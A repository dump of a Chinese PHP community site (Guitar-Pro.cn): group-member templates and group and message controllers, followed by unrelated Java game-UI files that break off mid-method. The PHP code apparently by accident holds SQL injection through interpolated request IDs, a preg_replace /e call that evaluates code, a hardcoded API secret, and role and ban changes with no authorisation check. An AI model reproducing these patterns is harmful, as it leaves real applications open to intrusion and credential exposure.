</div>
<div class="right">
<span class="date" style="display: block; float: right;">
<a onclick="return confirm('提升为管理员 ?');" href="http://localhost:9990/gtp/group/role/<?php echo ($item["ug_id"]); ?>?type=admin_add">[管理员]</a>
<a onclick="return confirm('加入黑名单 ?');" href="http://localhost:9990/gtp/group/role/<?php echo ($item["ug_id"]); ?>?type=group_ban">[黑名单]</a>
</span>
</div>
</li><?php endforeach; endif; ?>
</ul>
</div>
<br/>
<br/>
<div class="head">
<strong>创建人</strong>
</div>
<br />
<ul class="member-list">
<li>
<div class="pic">
<a href="http://localhost:9990/gtp/user/<?php getUserDomain($owner); ?>"><img src="<?php getUserFace($owner, 's'); ?>" /></a>
</div>
<div class="name">
<a href="http://localhost:9990/gtp/user/<?php getUserDomain($owner); ?>" class=""><?php echo ($owner["nick"]); ?></a>
</div>
</li>
</ul>
<br class="clear" />
<br/>
<br/>
<br/>
<div class="head">
<strong>版主</strong>
</div>
<br />
<form action="http://localhost:9990/gtp/group/role" method="post">
<ul class="member-list">
<?php if(is_array($admin_list)): foreach($admin_list as $key=>$item): ?><li>
<div class="pic">
<img id="imgAdmin-<?php echo ($item["id"]); ?>" src="<?php getUserFace($item, 's'); ?>" state="0" class="adminCheck" />
<input type="checkbox" name="member_id[]" class="chk" id="chkAdmin-<?php echo ($item["id"]); ?>" checked="true" value="-1" />
</div>
<div class="name">
<a href="http://localhost:9990/gtp/user/<?php getUserDomain($item); ?>" class=""><?php echo ($item["nick"]); ?></a>
</div>
</li><?php endforeach; endif; ?>
</ul>
<br class="clear" />
<br/>
<input type="hidden" name="group_id" value="<?php echo ($group_id); ?>" />
<input type="hidden" name="type" value="cancel_admin" />
<input type="submit" value="取消版主" class="button" />
</form>
<br class="clear" />
<br/>
<br/>
<br/>
<div class="head">
<strong>小组成员</strong>
</div>
<br />
<form id="groupMemberForm" action="http://localhost:9990/gtp/group/role" method="post">
<ul class="member-list">
<?php if(is_array($member_list)): foreach($member_list as $key=>$item): ?><li>
<div class="pic">
<img id="imgMember-<?php echo ($item["id"]); ?>" src="<?php getUserFace($item, 's'); ?>" state="0" class="memberCheck" />
<input type="checkbox" name="member_id[]" class="chk" id="chkMember-<?php echo ($item["id"]); ?>" checked="true" value="-1" />
</div>
<div class="name">
<a href="http://localhost:9990/gtp/user/<?php getUserDomain($item); ?>" class=""><?php echo ($item["nick"]); ?></a>
</div>
</li><?php endforeach; endif; ?>
</ul>
<br class="clear" />
<br/>
<input type="hidden" name="group_id" value="<?php echo ($group_id); ?>" />
<input type="hidden" id="groupRoleAction" name="type" value="" />
<input type="button" id="btnAdmin" value="设为版主" class="button" />
<input type="button" id="btnRemove" value="加入黑名单" class="button" />
</form>
<br class="clear" />
<br/>
<br/>
<br class="clear" />
<br />
</div>
<div class="login-other">
<div class="head">
<strong>使用其他帐号直接登录</strong>
</div>
<div class="body">
<ul class="other-account">
<li><a href="http://localhost:9990/gtp/group/edit/<?php echo ($group_id); ?>">小组信息管理</a></li>
<li><a href="http://localhost:9990/gtp/group/member/<?php echo ($group_id); ?>">小组成员管理</a></li>
<li><a href="http://localhost:9990/gtp/group/topic/<?php echo ($group_id); ?>">小组话题管理</a></li>
</ul>
</div>
</div>
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<script type="text/javascript">(function(){document.write(unescape('%3Cdiv id="bdcs"%3E%3C/div%3E'));var bdcs = document.createElement('script');bdcs.type = 'text/javascript';bdcs.async = true;bdcs.src = 'http://znsv.baidu.com/customer_search/api/js?sid=14009195900081859174' + '&plate_url=' + encodeURIComponent(window.location.href) + '&t=' + Math.ceil(new Date()/3600000);var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(bdcs, s);})();</script>
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/Application/Admin/Controller/GtpController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
class GtpController extends BaseController {
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$map["state"] = I("get.state") ? I("get.state") : 100;
$items = D("GtpView")->where($map)->order('add_time desc')->page($p.",{$size}")->select();
$count = D("GtpView")->where($map)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('items', $items);
$this->assign('page', $page);
$this->assign("channel", "gtp");
$this->display();
}
}<file_sep>/Application/Home/Model/VedioModel.class.php
<?php
namespace Home\Model;
use Think\Model;
class VedioModel extends Model {
protected $_auto = array(
array("digg_num", 0),
array("view_num", 0),
array("comment_num", 0),
array("add_time", "date", 1, "function", array("Y-m-d H:i:s")),
array("state", 100)
);
}
?><file_sep>/ThinkPHP/Library/Org/Util/JsonResult.class.php
<?php
namespace Org\Util;
class JsonResult{
static $r_err = -1;
static $r_common = 100;
static $r_null = -200;
static function instance() {
static $instance;
if (is_null($instance))
$instance = new JsonResult();
return $instance;
}
static function error($uri, $data) {
$result['data'] = array("result"=>$data, "uri"=>$uri);
$result['code'] = JsonResult::$r_err;
return json_encode($result);
}
static function error_msg($msg) {
$result['data'] = $msg;
$result['code'] = JsonResult::$r_err;
return json_encode($result);
}
static function boolean($data) {
$result['data'] = array("result"=>$data);
$result['code'] = JsonResult::$r_common;
return json_encode($result);
}
static function model($data) {
if(!empty($data)) {
$result['data'] = $data;
$result['code'] = JsonResult::$r_common;
return JsonResult::encode($result);
} else {
$result['data'] = '';
$result['code'] = JsonResult::$r_null;
return json_encode($result);
}
}
static function apk_download($data) {
if(!empty($data)) {
$result['data'] = $data;
$result['code'] = 100;
return JsonResult::encode($result);
} else {
$result['data'] = '';
$result['code'] = JsonResult::$r_null;
return json_encode($result);
}
}
static function data($data) {
if(!empty($data) && count($data) > 0) {
$result['data'] = $data;
$result['code'] = JsonResult::$r_common;
return JsonResult::encode($result);
} else {
$result['data'] = '';
$result['code'] = JsonResult::$r_null;
return json_encode($result);
}
}
static function encode($data) {
$json = json_encode($data);
return preg_replace("#\\\u([0-9a-f]{4})#ie", "iconv('UCS-2BE', 'UTF-8', pack('H4', '\\1'))", $json);
}
static function decode($data) {
return json_decode($data);
}
}
?><file_sep>/Application/Home/Controller/MessageController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
class MessageController extends BaseController {
public function _before_index() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=message/");
}
public function index() {
$user_id = $this->uid;
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$map["message.to_id"] = $user_id;
$map['_logic'] = 'OR';
$map["message.user_id"] = $user_id;
$map["message.parent_id"] = -1;
$map["message.state"] = array("gt", 0);
$message_list = M("Message")
->join("user on message.user_id=user.id")
->field("user.nick, message.id, message.parent_id, message.user_id, message.to_id, message.title, message.content, message.reply_num, message.last_reply_time, message.add_time, message.state")
->where($map)->order("last_reply_time desc")
->page($p.",{$size}")->select();
$this->assign("message_list", $message_list);
$this->display();
}
public function mine() {
$user_id = $this->uid;
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$map["message.user_id"] = $user_id;
$map["message.state"] = array("gt", 0);
$message_list = M("Message")
->join("user on message.user_id=user.id")
->field("user.nick, message.id, message.parent_id, message.user_id, message.to_id, message.title, message.content, message.add_time, message.state")
->where($map)
->order("add_time")->page($p.",{$size}")->select();
$this->assign("message_list", $message_list);
$this->assign("type", "mine");
$this->display("index");
}
public function _before_details() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=message/");
}
public function details() {
$id = I("get.id");
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$map["message.id"] = $id;
$msg = M("Message")
//->join("user user.id = message.user_id")
//->field("user.nick, message.id, message.parent_id, message.user_id, message.to_id, message.title, message.content, message.add_time, message.repl_time, message.title")
->where("message.id = $id")
->find();
if($msg["to_id"] == $this->uid) {
$data["state"] = 200;
$data["reply_num"] = $msg["reply_num"] + 1;
M("Message")->where("id={$id}")->data($data)->save();
}
$this->assign("message", $msg);
$this->assign("to_id", $msg["user_id"]);
$this->display();
}
public function add() {
if(IS_POST) {
$title = I("post.title");
$content = I("post.content");
try {
if(empty($title)) E("必须输标题");
if(empty($content)) E("必须输内容");
$message = D("Message");
if($message->create()) {
$message->user_id = $this->uid;
$message->add();
}
$this->redirect("/message/mine");
} catch (Exception $ex) {
$this->assign("title", $title);
$this->assign("content", $content);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$to_id = I("get.id");
$user = M("User")->find($to_id);
$this->assign("to_id", $to_id);
$this->assign("user", $user);
$this->display();
}
}
public function reply() {
if(IS_POST) {
try {
$comment = D("Comment");
if($comment->create()) {
$parent_id = I("post.parent_id");
$message->user_id = $this->uid;
$message->parent_id = $parent_id;
$id = $message->add();
$this->redirect("/message/".$parent_id);
$this->display();
}
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
}
}
public function delete() {
}
public function operate() {
}
}<file_sep>/ThinkPHP/Library/Org/Util/Tudou.class.php
<?php
namespace Org\Util;
class Tudou{
private $appKey = '<KEY>';
private $appSecret = '9c98dcae8e8d520d0aeac9c3e35f1fef';
private $base_url = 'http://api.tudou.com/v3/gw?';
private $format = 'json';
private $paramArr;
public function __construct(){
$this->paramArr = array(
'appKey' => $this->appKey,
'format' => $this->format,
);
}
static function instance(){
static $instance;
if (is_null($instance))
$instance = new Tudou();
return $instance;
}
function createStrParam ($paramArr) {
$strParam = '';
foreach ($paramArr as $key => $val)
if ($key != '' && $val !='')
$strParam .= $key.'='.urlencode($val).'&';
return $strParam;
}
function getJsonResult($url){
try{
$result = "";
$cnt = 0;
while($cnt < 3 && ($result=file_get_contents($url)) === FALSE) $cnt ++;
return json_decode($result);
}catch(Exception $ex){
throw $ex;
}
}
function item_search($kw, $pageNo, $pageSize){
$locaoParam = array(
'method' => 'item.search',
'pageNo' => $pageNo,
'pageSize' => $pageSize,
'channelId' => '0',
'inDays' => '30',
'media' => 'v',
'sort' => 's',
'kw' => $kw
);
try{
$strParam = $this->createStrParam(array_merge($this->paramArr, $locaoParam));
$jsonResult = $this->getJsonResult($this->base_url.$strParam);
if(!empty($jsonResult))
return $jsonResult;
}catch(Exception $ex){
throw $ex;
}
}
function item_info_get($itemCodes){
$locaoParam = array(
'method' => 'item.info.get',
'itemCodes' => $itemCodes
);
try{
$strParam = $this->createStrParam(array_merge($this->paramArr, $locaoParam));
return $this->getJsonResult($this->base_url.$strParam);
}catch(Exception $ex){
throw $ex;
}
}
function item_comment_get($itemCode, $pageNo, $pageSize){
$locaoParam = array(
'method' => 'item.comment.get',
'itemCodes' => $itemCode,
'pageNo' => $pageNo,
'pageSize' => $pageSize
);
try{
$strParam = $this->createStrParam(array_merge($this->paramArr, $locaoParam));
return $this->getJsonResult($this->base_url.$strParam);
}catch(Exception $ex){
throw $ex;
}
}
}
?><file_sep>/Application/Admin/Common/function.php
<?php
function toDate($time, $format='Y年m月d日 H:i:s') {
$time = strtotime($time);
if( empty($time)) {
return '';
}
$format = str_replace('#',':',$format);
return date($format,$time);
}
function toTime($time, $format='Y-m-d H:i') {
$time = strtotime($time);
if( empty($time)) {
return '';
}
$format = str_replace('#',':',$format);
return date($format,$time);
}
function getUserState($state) {
$state_name = "正常";
if($state == -100)
$state_name = "已删除";
echo $state_name;
}
?><file_sep>/Application/Home/Controller/GroupController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
use Think\Upload;
use Think\Image;
use Org\Util\ImageCrop;
class GroupController extends BaseController {
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$map["topic.state"] = array('gt', 0);
$topic_list = M("Group")
->join("topic on group.id=topic.group_id")
->field("topic.id, topic.group_id, topic.user_id, topic.title, topic.reply_num, topic.last_reply_time, topic.state, group.title as group_title")
->where($map)->order("topic.last_reply_time desc")->page($p.",{$size}")->select();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign("topic_list", $topic_list);
$this->assign("page", $page);
$this->display();
}
public function search() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$k = urldecode(I("get.k"));
$map["topic.state"] = array('gt', 0);
if(!empty($k)) {
$map["topic.title"] = array('like', "%{$k}%");
$this->assign('k', $k);
}
$topic_list = M("Group")
->join("topic on group.id=topic.group_id")
->field("topic.id, topic.group_id, topic.user_id, topic.title, topic.reply_num, topic.last_reply_time, topic.state, group.title as group_title")
->where($map)->order("topic.last_reply_time desc")->page($p.",{$size}")->select();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign("topic_list", $topic_list);
$this->assign("page", $page);
$this->display("index");
}
public function mine() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$k = urldecode(I("get.k"));
$map["topic.state"] = array('gt', 0);
$map["topic.user_id"] = $this->uid;
if(!empty($k)) {
$map["topic.title"] = array('like', "%{$k}%");
$this->assign('k', $k);
}
$topic_list = M("Group")
->join("topic on group.id=topic.group_id")
->field("topic.id, topic.group_id, topic.user_id, topic.title, topic.reply_num, topic.last_reply_time, topic.state, group.title as group_title")
->where($map)->order("topic.last_reply_time desc")->page($p.",{$size}")->select();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign("topic_list", $topic_list);
$this->assign("page", $page);
$this->assign("type", "mine");
$this->display("index");
}
public function comment() {
$p = I("get.p") ? I("get.p") : 1;
$size = 25;
$k = urldecode(I("get.k"));
$map["topic.state"] = array('gt', 0);
$map["comment.state"] = array('gt', 0);
$map["comment.user_id"] = $this->uid;
if(!empty($k)) {
$map["topic.title"] = array('like', "%{$k}%");
$this->assign('k', $k);
}
$topic_list = M("Group")->Distinct(true)
->join("topic on topic.group_id=group.id")
->join("comment on comment.item_id = topic.id")
->field("topic.id, topic.group_id, topic.user_id, topic.title, topic.reply_num, topic.last_reply_time, topic.state, group.title as group_title")
->where($map)->order("topic.last_reply_time desc")->page($p.",{$size}")->select();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign("topic_list", $topic_list);
$this->assign("page", $page);
$this->assign("type", "comment");
$this->display("index");
}
public function details() {
$id = I("get.id");
$group = M("Group")->where("id={$id}")->find();
$p = $_GET["p"] ? $_GET["p"] : 1;
$size = 15;
$k = trim(I("get.k"));
if(!empty($k)) {
$map["topic.title"] = array('like', "%{$k}%");
$this->assign("k", $k);
}
$top_map["group_id"] = $id;
$top_map["state"] = 110;
$topic_top_list = M("Topic")->where($top_map)->select();
$map["topic.group_id"] = $id;
$map["topic.state"] = 100;
$topic_list = M("Topic")
->join("user on user.id=topic.user_id")
->field("topic.id, topic.user_id, topic.title, topic.reply_num, topic.add_time, topic.state, user.nick, user.face")
->where($map)->order("add_time desc")->page($p.",{$size}")->select();
$count = M('Topic')->where($map)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$admin_map["user_group.group_id"] = $id;
$admin_map["user_group.role"] = 'admin';
$admin_map["user.state"] = 100;
$admin_list = M("User")
->join("user_group on user.id=user_group.user_id")
->field("user.id, user.nick, user.face, user_group.id as ug_id, user_group.role, user_group.add_time")
->where($admin_map)->order("user_group.add_time")->select();
$ug_map["user_id"] = $this->uid;
$ug_map["group_id"] = $id;
$userGroup = M("UserGroup")->where($ug_map)->find();
$this->assign("topic_list", $topic_list);
$this->assign("topic_top_list", $topic_top_list);
$this->assign("admin_list", $admin_list);
$this->assign('page', $page);
$this->assign("group", $group);
$this->assign("userGroup", $userGroup);
$this->display();
}
public function _before_add() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=group/add");
}
public function add() {
if(IS_POST) {
try {
$title = I("post.title");
if(empty($title)) E("必须输小组名称");
$group = D("Group");
if($group->create()) {
$group->user_id = $this->uid;
$group->content = nl2br2(I("post.content"));
$group_id = $group->add();
$userGroup = D("UserGroup");
if($userGroup->create()) {
$userGroup->user_id = $this->uid;
$userGroup->group_id = $group_id;
$userGroup->role = "owner";
$userGroup->add();
}
$this->redirect('/group/face/'.$group_id);
}
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$this->display();
}
}
public function _before_edit() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=group/edit/".I("get.id"));
}
public function edit() {
if(IS_POST) {
try {
$title = I("post.title");
if(empty($title)) E("必须输入视频标题");
$id = I("post.group_id");
$data["title"] = $title;
$data["content"] = nl2br2(I("post.content"));
$data["tags"] = trim(I("post.tags"));
M("Group")->where("id={$id}")->data($data)->save();
$this->redirect('/group/'.$id);
} catch(Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$group_id = I("get.id");
$group = M("Group")->where("id=$group_id")->find();
$this->assign("item", $group);
$this->assign("group_id", $group_id);
$this->assign("channel", "group");
$this->display();
}
}
public function _before_face() {
if($this->logined != true)
redirect($this->site_url."/user/login/?page=group/face/".I("get.id"));
}
public function face() {
if(IS_POST) {
try {
if(!empty($_FILES["face"]) && $_FILES["face"]['size'] > 0) {
$face_arr = Array(
'maxSize' => 3145728,
'exts' => array('jpg', 'gif', 'png', 'jpeg'),
'saveName' => 'time',
'replace' => true,
'rootPath' => './',
'savePath' => './upload/group/'
);
$upload = new Upload($face_arr);
$info = $upload->uploadOne($_FILES['face']);
$group_id = I("post.group_id");
if(!$info) {
E($upload->getError());
}else{
$image = new Image();
$thumb_file = $info['savepath'] . $info['savename'];
$m_path = $info['savepath'] . 'm' . $info['savename'];
$s_path = $info['savepath'] . 's' . $info['savename'];
$image->open($thumb_file)
->thumb(300, 300, Image::IMAGE_THUMB_CENTER)
->save($m_path);
$image->open($thumb_file)
->thumb(50, 50, Image::IMAGE_THUMB_CENTER)
->save($s_path);
$old_imgUrlpath = $user["face"];
unlink(get_imgPath($old_imgUrlpath, 'm', false));
unlink(get_imgPath($old_imgUrlpath, 's', false));
unlink($thumb_file);
$data['face'] = substr($thumb_file, 2);
M("Group")->where("id={$group_id}")->data($data)->save();
}
$this->redirect("/group/face/".$group_id);
}
E("必须上传图片文件");
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->assign("channel", "group");
$this->display();
}
} else {
$group_id = I("get.id");
$group = M("Group")->where("id=$group_id")->find();
$this->assign("group", $group);
$this->display();
}
}
public function _before_crop() {
if($this->logined != true)
redirect($this->site_url."/user/login");
}
public function crop() {
if(IS_POST) {
try {
$group_id = I("post.group_id");
$group = M("Group")->where("id={$group_id}")->find();
$crop = new ImageCrop();
$crop->initialize(
get_imgPath($group['face'], 'm', false),
get_imgPath($group['face'], 's', false),
I("post.x"),
I("post.y"),
I("post.x") + I("post.w"),
I("post.y") + I("post.h")
);
$filename = $crop->generate();
$this->redirect("group/edit/".$group_id);
} catch (Exception $ex) {
$this->assign("err", $ex->getMessage());
$this->display();
}
}
}
public function _before_join() {
if($this->logined != true)
redirect($this->site_url."/user/login");
}
public function join() {
$gruop_id = I("get.id");
$type = I("get.type");
if($type == "out") {
$map["user_id"] = $this->uid;
$map["group_id"] = $gruop_id;
$ug = M("UserGroup")->where($map)->find();
if(!empty($ug) && $ug["role"] == "member") {
$userGroup = M("UserGroup")->where($map)->delete();
$group = M("Group")->find($gruop_id);
if($group["user_num"] > 0)
M("Group")->where("id={$gruop_id}")->setDec('user_num', 1);
}
} else {
$userGroup = M("UserGroup");
$data["user_id"] = $this->uid;
$data["group_id"] = $gruop_id;
$data["role"] = "member";
$data["state"] = 100;
$data["add_time"] = $this->get_now();
$userGroup->add($data);
M("Group")->where("id={$gruop_id}")->setInc('user_num', 1);
}
$this->redirect("/group/".$gruop_id);
}
public function member() {
$group_id = I("get.id");
$group = M("Group")->find($group_id);
$map["user_group.group_id"] = $group_id;
$map["user_group.role"] = 'admin';
$map["user.state"] = 100;
$nick = I("get.nick");
if(!empty($nick)) {
$map["user.nick"] = array("like", "%$nick%");
$this->assign("nick", $nick);
} else {
$owner = M("User")->find($group["user_id"]);
$this->assign("owner", $owner);
}
$admin_list = M("User")
->join("user_group on user.id=user_group.user_id")
->field("user.id, user.nick, user.face, user_group.id as ug_id, user_group.role, user_group.add_time")
->where($map)->order("user_group.add_time")->select();
$map["user_group.role"] = 'member';
$member_list = M("User")
->join("user_group on user.id=user_group.user_id")
->field("user.id, user.nick, user.face, user_group.id as ug_id, user_group.add_time")
->where($map)->order("user_group.add_time desc")->select();
$this->assign("group_id", $group_id);
$this->assign("group", $group);
$this->assign("admin_list", $admin_list);
$this->assign("member_list", $member_list);
$this->display();
}
public function role() {
$type = I("get.type");
$id = I("get.id");
$userGroup = M("UserGroup")->find($id);
//dump(I("get."));
switch ($type) {
case 'admin_add':
{
$map["user_id"] = $userGroup["user_id"];
$map["group_id"] = $userGroup["group_id"];
$data["role"] = "admin";
M("UserGroup")->where($map)->save($data);
}
break;
case 'admin_cancel':
{
$map["user_id"] = $userGroup["user_id"];
$map["group_id"] = $userGroup["group_id"];
$data["role"] = "member";
M("UserGroup")->where($map)->save($data);
}
break;
case 'group_ban':
{
$map["user_id"] = $userGroup["user_id"];
$map["group_id"] = $userGroup["group_id"];
$data["role"] = "ban";
$data["state"] = -100;
M("UserGroup")->where($map)->save($data);
}
break;
case 'group_unban':
{
$data["role"] = "member";
M("UserGroup")->where("id=$id")->save($data);
$this->redirect("/group/topic/".$userGroup["group_id"]);
}
break;
default:
break;
}
$this->redirect("/group/member/".$userGroup["group_id"]);
}
public function topic() {
$id = I("get.id");
$dirty_list = M("Dirty")
->join("user on user.id=dirty.user_id")
->field("dirty.id, dirty.name, dirty.user_id, dirty.add_time, user.nick, user.face")
->order("dirty.add_time")
->where("dirty.group_id = $id")->select();
$ban_list = M("User")
->join("user_group on user.id=user_group.user_id")
->field("user.nick, user.face, user_group.id, user_group.user_id, user_group.add_time")
->order("user_group.add_time desc")
->where("user_group.role='ban' and user_group.group_id = $id")->select();
$this->assign("group_id", $id);
$this->assign("dirty_list", $dirty_list);
$this->assign("ban_list", $ban_list);
$this->display();
}
public function delete() {
}
}<file_sep>/Application/M/Common/function.php
<?php
function applied($item_id, $people_id) {
$ip_data["item_id"] = $item_id;
$ip_data["people_id"] = $people_id;
$ip_count = M("ItemPeople")->where($ip_data)->count();
//dump(M("ItemPeople")->_sql());
return $ip_count > 0;
}
?> | 8871845249ad2abebededa7b5ba2f05f52b10116 | [
"PHP"
] | 50 | PHP | bangoi/gtp | dd6065fcd15d73cfe5875b715920b7417029aa38 | c32020c82a3256aa7d24098424ac50b7503b25fe |
refs/heads/master | <file_sep>GameSetup
=========
My simple 2D Java Game-Essentials
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup.ui;
import java.awt.Graphics2D;
import java.awt.Rectangle;
import java.awt.event.MouseEvent;
import de.dakror.gamesetup.util.Drawable;
import de.dakror.gamesetup.util.EventListener;
/**
* @author Dakror
*/
public abstract class Component extends EventListener implements Drawable {
public int x, y, width, height;
/**
* 0 = default<br>
* 1 = pressed<br>
* 2 = hovered<br>
*/
public int state;
public boolean enabled;
public Component(int x, int y, int width, int height) {
this.x = x;
this.y = y;
this.width = width;
this.height = height;
state = 0;
enabled = true;
}
public void drawTooltip(int x, int y, Graphics2D g) {}
public boolean contains(int x, int y) {
return new Rectangle(this.x, this.y, width, height).contains(x, y);
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
public int getWidth() {
return width;
}
public void setWidth(int width) {
this.width = width;
}
public int getHeight() {
return height;
}
public void setHeight(int height) {
this.height = height;
}
@Override
public void mousePressed(MouseEvent e) {
if (contains(e.getX(), e.getY()) && enabled) state = 1;
}
@Override
public void mouseReleased(MouseEvent e) {
if (contains(e.getX(), e.getY()) && enabled) state = 2;
}
@Override
public void mouseMoved(MouseEvent e) {
state = contains(e.getX(), e.getY()) ? 2 : 0;
}
}
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup.ui.button;
import java.awt.Graphics2D;
import de.dakror.gamesetup.GameFrame;
import de.dakror.gamesetup.ui.ClickableComponent;
import de.dakror.gamesetup.util.Helper;
/**
* @author Dakror
*/
public class ArrowButton extends ClickableComponent {
public enum ArrowType {
MINUS_HOR(322, 5),
PLUS_HOR(360, 5),
MINUS_VER(419, 5),
PLUS_VER(457, 5),
ARROW_L_HOR(556, 5),
ARROW_R_HOR(595, 5),
ARROW_U_VER(653, 5),
ARROW_D_VER(691, 5),
;
int x, y;
private ArrowType(int x, int y) {
this.x = x;
this.y = y;
}
}
public static int MARGIN = 52;
int tx, ty;
public ArrowButton(int x, int y, ArrowType type) {
super(x, y, 32, 52);
tx = type.x;
ty = type.y;
}
@Override
public void draw(Graphics2D g) {
int ty = this.ty + MARGIN * state;
if (!enabled) ty = this.ty + MARGIN * 3;
Helper.drawImage(GameFrame.getImage("gui/gui.png"), x, y, width, height, tx, ty, width, height, g);
}
@Override
public void update(int tick) {}
}
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup;
/**
* @author Dakror
*/
public abstract class Updater extends Thread {
public static int TIMEOUT = 16;
public int tick, ticks;
long time;
public int speed = 1;
public boolean closeRequested = false;
public Updater() {
setPriority(Thread.MAX_PRIORITY);
start();
}
@Override
public void run() {
tick = 0;
time = System.currentTimeMillis();
while (!closeRequested) {
if (tick == Integer.MAX_VALUE) tick = 0;
if (GameFrame.currentFrame.fade == true) {
if (GameFrame.currentFrame.alpha != GameFrame.currentFrame.fadeTo) {
float dif = GameFrame.currentFrame.fadeTo - GameFrame.currentFrame.alpha;
GameFrame.currentFrame.alpha += dif > 0 ? (dif > GameFrame.currentFrame.speed ? GameFrame.currentFrame.speed : dif) : (dif < -GameFrame.currentFrame.speed ? -GameFrame.currentFrame.speed : dif);
} else GameFrame.currentFrame.fade = false;
}
updateBefore();
for (int i = GameFrame.currentFrame.layers.size() - 1; i >= 0; i--)
GameFrame.currentFrame.layers.get(i).update(tick);
update();
try {
tick++;
ticks++;
Thread.sleep(Math.round(TIMEOUT / (float) speed));
} catch (InterruptedException e) {}
}
}
public void updateBefore() {}
public abstract void update();
}
<file_sep>/*******************************************************************************
* Copyright 2015 <NAME> | Dakror <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package de.dakror.gamesetup.util;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
public class CSVReader {
BufferedReader br;
String path;
public String sep;
String[] segments;
int index, lIndex;
int lineLength = -1;
public CSVReader(String path) {
this.path = path;
try {
br = new BufferedReader(new InputStreamReader(getClass().getResourceAsStream(path)));
loadSeparator();
index = 0;
} catch (Exception e) {
e.printStackTrace();
}
}
public CSVReader(File path) {
this.path = path.getPath();
try {
br = new BufferedReader(new FileReader(path));
loadSeparator();
index = 0;
} catch (Exception e) {
e.printStackTrace();
}
}
private void loadSeparator() throws Exception {
String l = br.readLine();
if (l.startsWith("sep=")) sep = l.replace("sep=", "");
else {
sep = ";";
br = new BufferedReader(path.startsWith("/") ? new InputStreamReader(getClass().getResourceAsStream(path)) : new FileReader(new File(path)));
}
}
public void skipRow() {
try {
br.readLine();
} catch (IOException e) {
e.printStackTrace();
}
}
public int getIndex() {
return lIndex;
}
public String[] readRow() {
try {
String l = br.readLine();
if (l == null) {
br.close();
return null;
}
return l.split(sep);
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
public String readNext() {
try {
if (segments == null || index == lineLength) {
String l = br.readLine();
if (l == null) {
br.close();
return null;
}
while (l != null && l.length() == 0)
l = br.readLine();
